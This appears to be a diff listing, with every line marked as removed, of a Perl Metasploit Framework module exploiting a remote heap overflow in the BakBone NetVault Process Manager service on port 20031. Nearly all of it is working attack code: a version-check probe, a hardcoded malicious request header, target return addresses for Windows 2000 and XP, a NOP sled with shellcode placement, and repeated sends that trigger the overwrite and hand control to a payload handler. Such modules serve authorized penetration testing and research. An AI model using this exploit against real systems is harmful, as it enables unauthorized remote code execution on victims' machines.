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-
- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- package Msf::Exploit::bakbone_netvault_heap;
- use strict;
- use base "Msf::Exploit";
- use Pex::Text;
-
- my $advanced = { };
-
- my $info =
- {
- 'Name' => 'BakBone NetVault Remote Heap Overflow',
- 'Version' => '$Revision: 1.3 $',
- 'Authors' =>
- [
- 'H D Moore <hdm [at] metasploit.com>',
- '<nolimit.bugtraq[at]gmail.com>',
- ],
- 'Arch' => [ 'x86' ],
- 'OS' => [ 'win32', 'win2000', 'winxp' ],
- 'Priv' => 1,
-
- 'UserOpts' =>
- {
- 'RHOST' => [1, 'ADDR', 'The target address'],
- 'RPORT' => [1, 'PORT', 'The target port', 20031 ],
- },
-
- 'Payload' =>
- {
- 'Space' => 1024,
- 'BadChars' => "\x00\x20",
- 'Keys' => ['+ws2ord'],
- # sub esp, 4097 + inc esp makes stack happy
- 'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44",
- },
-
- 'Description' => Pex::Text::Freeform(qq{
- This module exploits a heap overflow in the BakBone NetVault
- Process Manager service. This code is a direct port of the netvault.c
- code written by nolimit and BuzzDee.
- }),
-
- 'Refs' =>
- [
- ['BID', 12967],
- ['MIL', 12],
- ],
-
- 'Targets' =>
- [
- [ 'Windows 2000 SP4 English', 0x75036d7e, 0x7c54144c ], # esi+4c / UEF
- [ 'Windows XP SP0/SP1 English', 0x7c369bbd, 0x77ed73b4 ], # / UEF
- ],
-
- 'Keys' => ['netvault'],
-
- 'DisclosureDate' => 'Apr 01 2005',
- };
-
- sub new {
- my $class = shift;
- my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
- return($self);
- }
-
- sub Check {
- my $self = shift;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
-
- my $s = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- );
-
- if ($s->IsError) {
- $self->PrintLine("[*] Socket error: " . $s->GetError());
- return $self->CheckCode('Connect');
- }
-
- my $hname = "METASPLOIT";
- my $probe =
- "\xc9\x00\x00\x00\x01\xcb\x22\x77\xc9\x17\x00\x00\x00\x69\x3b\x69".
- "\x3b\x69\x3b\x69\x3b\x69\x3b\x69\x3b\x69\x3b\x69\x3b\x69\x3b\x69".
- "\x3b\x73\x3b\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x00".
- "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00".
- "\x03\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00".
- pack('V', length($hname)+1). $hname . "\x00";
-
- $probe .= "\x00" x (201 - length($probe));
- $s->Send($probe);
- my $res = $s->Recv(-1, 10);
- $s->Close;
-
- my $off = index($res, "NVBuild");
- if ($off != -1) {
- $off += length('NVBuild')+ 1 + 12 + 1;
- my $ver = int(substr($res, $off+4, unpack('V', substr($res, $off, 4))));
-
- if ($ver > 0) {
- $self->PrintLine("[*] Detected NetVault Build $ver");
- return $self->CheckCode('Detected');
- }
- }
- return $self->CheckCode('Safe');
- }
-
- sub Exploit {
- my $self = shift;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
- my $target_idx = $self->GetVar('TARGET');
- my $shellcode = $self->GetVar('EncodedPayload')->Payload;
-
- my $target = $self->Targets->[$target_idx];
- my ($res);
-
- if (! $self->InitNops(128)) {
- $self->PrintLine("[*] Failed to initialize the nop module.");
- return;
- }
-
- # Request header taken from netvault.c by nolimit and BuzzDee
- my $head =
- pack('C*',
- 0x00, 0x00, 0x02, 0x01, 0x00, 0x00, 0x00, 0x8f,
- 0xd0, 0xf0, 0xca, 0x0b, 0x00, 0x00, 0x00, 0x69,
- 0x3b, 0x62, 0x3b, 0x6f, 0x3b, 0x6f, 0x3b, 0x7a,
- 0x3b, 0x00, 0x11, 0x57, 0x3c, 0x42, 0x00, 0x01,
- 0xb9, 0xf9, 0xa2, 0xc8, 0x00, 0x00, 0x00, 0x00,
- 0x03, 0x00, 0x00, 0x00, 0x00, 0x01, 0xa5, 0x97,
- 0xf0, 0xca, 0x05, 0x00, 0x00, 0x00, 0x6e, 0x33,
- 0x32, 0x3b, 0x00, 0x20, 0x00, 0x00, 0x00, 0x10,
- 0x02, 0x4e, 0x3f, 0xac, 0x14, 0xcc, 0x0a, 0x00,
- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,
- 0xa5, 0x97, 0xf0, 0xca, 0x05, 0x00, 0x00, 0x00,
- 0x6e, 0x33, 0x32, 0x3b, 0x00, 0x20, 0x00, 0x00,
- 0x00, 0x10, 0x02, 0x4e, 0x3f, 0xc0, 0xa8, 0xea,
- 0xeb, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
- 0x00, 0x01, 0xa5, 0x97, 0xf0, 0xca, 0x05, 0x00,
- 0x00, 0x00, 0x6e, 0x33, 0x32, 0x3b, 0x00, 0x20,
- 0x00, 0x00, 0x00, 0x10, 0x02, 0x4e, 0x3f, 0xc2,
- 0x97, 0x2c, 0xd3, 0x00, 0x00, 0x00, 0x00, 0x00,
- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
- 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
- 0x00, 0x00, 0x00, 0xb9, 0xf9, 0xa2, 0xc8, 0x02,
- 0x02, 0x00, 0x00, 0x00, 0xa5, 0x97, 0xf0, 0xca,
- 0x05, 0x00, 0x00, 0x00, 0x6e, 0x33, 0x32, 0x3b,
- 0x00, 0x20, 0x00, 0x00, 0x00, 0x04, 0x02, 0x4e,
- 0x3f, 0xac, 0x14, 0xcc, 0x0a, 0xb0, 0xfc, 0xe2,
- 0x00, 0x00, 0x00, 0x00, 0x00, 0xec, 0xfa, 0x8e,
- 0x01, 0xa4, 0x6b, 0x41, 0x00, 0xe4, 0xfa, 0x8e,
- 0x01, 0xff, 0xff, 0xff, 0xff, 0x01, 0x02
- );
-
- my $pattern = $self->MakeNops(39947) . "\x00\x00\x00";
- substr($pattern, 0, length($head), $head);
-
- substr($pattern, 32790, 2, "\xeb\x0a");
- substr($pattern, 32792, 4, pack('V', $target->[1]));
- substr($pattern, 32796, 4, pack('V', $target->[2]));
- substr($pattern, 32800, length($shellcode), $shellcode);
-
- $self->PrintLine("[*] Attemping to exploit target '".$target->[0]."'...");
-
-
- # NetVault does not handle partial recv's correctly, so we need
- # to make multiple attempts at writing the full string...
-
- my $res = 0;
- my $try = 0;
- my $s;
-
- while ($try < 15 && $res != length($pattern)) {
-
- $s = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- );
-
- if ($s->IsError) {
- $self->PrintLine("[*] Socket error: " . $s->GetError());
- return(0);
- }
-
- $res = $s->Send($pattern, 0);
- $try++;
- }
-
- if ($res != length($pattern)) {
- $self->PrintLine("[*] Could not write the full request to the server");
- return;
- }
-
- $self->PrintLine("[*] Overflow request sent, sleeping for four seconds ($try tries)");
- select(undef, undef, undef, 4);
-
- $self->PrintLine("[*] Triggering the memory overwrite by reconnecting...");
- for( 1 .. 10) {
- my $x = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- );
- last if $x->IsError;
- $x->Send($pattern, 0);
- $self->PrintLine("[*] Completed connection #$_");
- select(undef, undef, undef, 1);
- }
-
- $self->PrintLine("[*] Waiting for the payload to execute...");
- select(undef, undef, undef, 4);
-
- $self->Handler($s);
- return;
- }
-
- 1;
-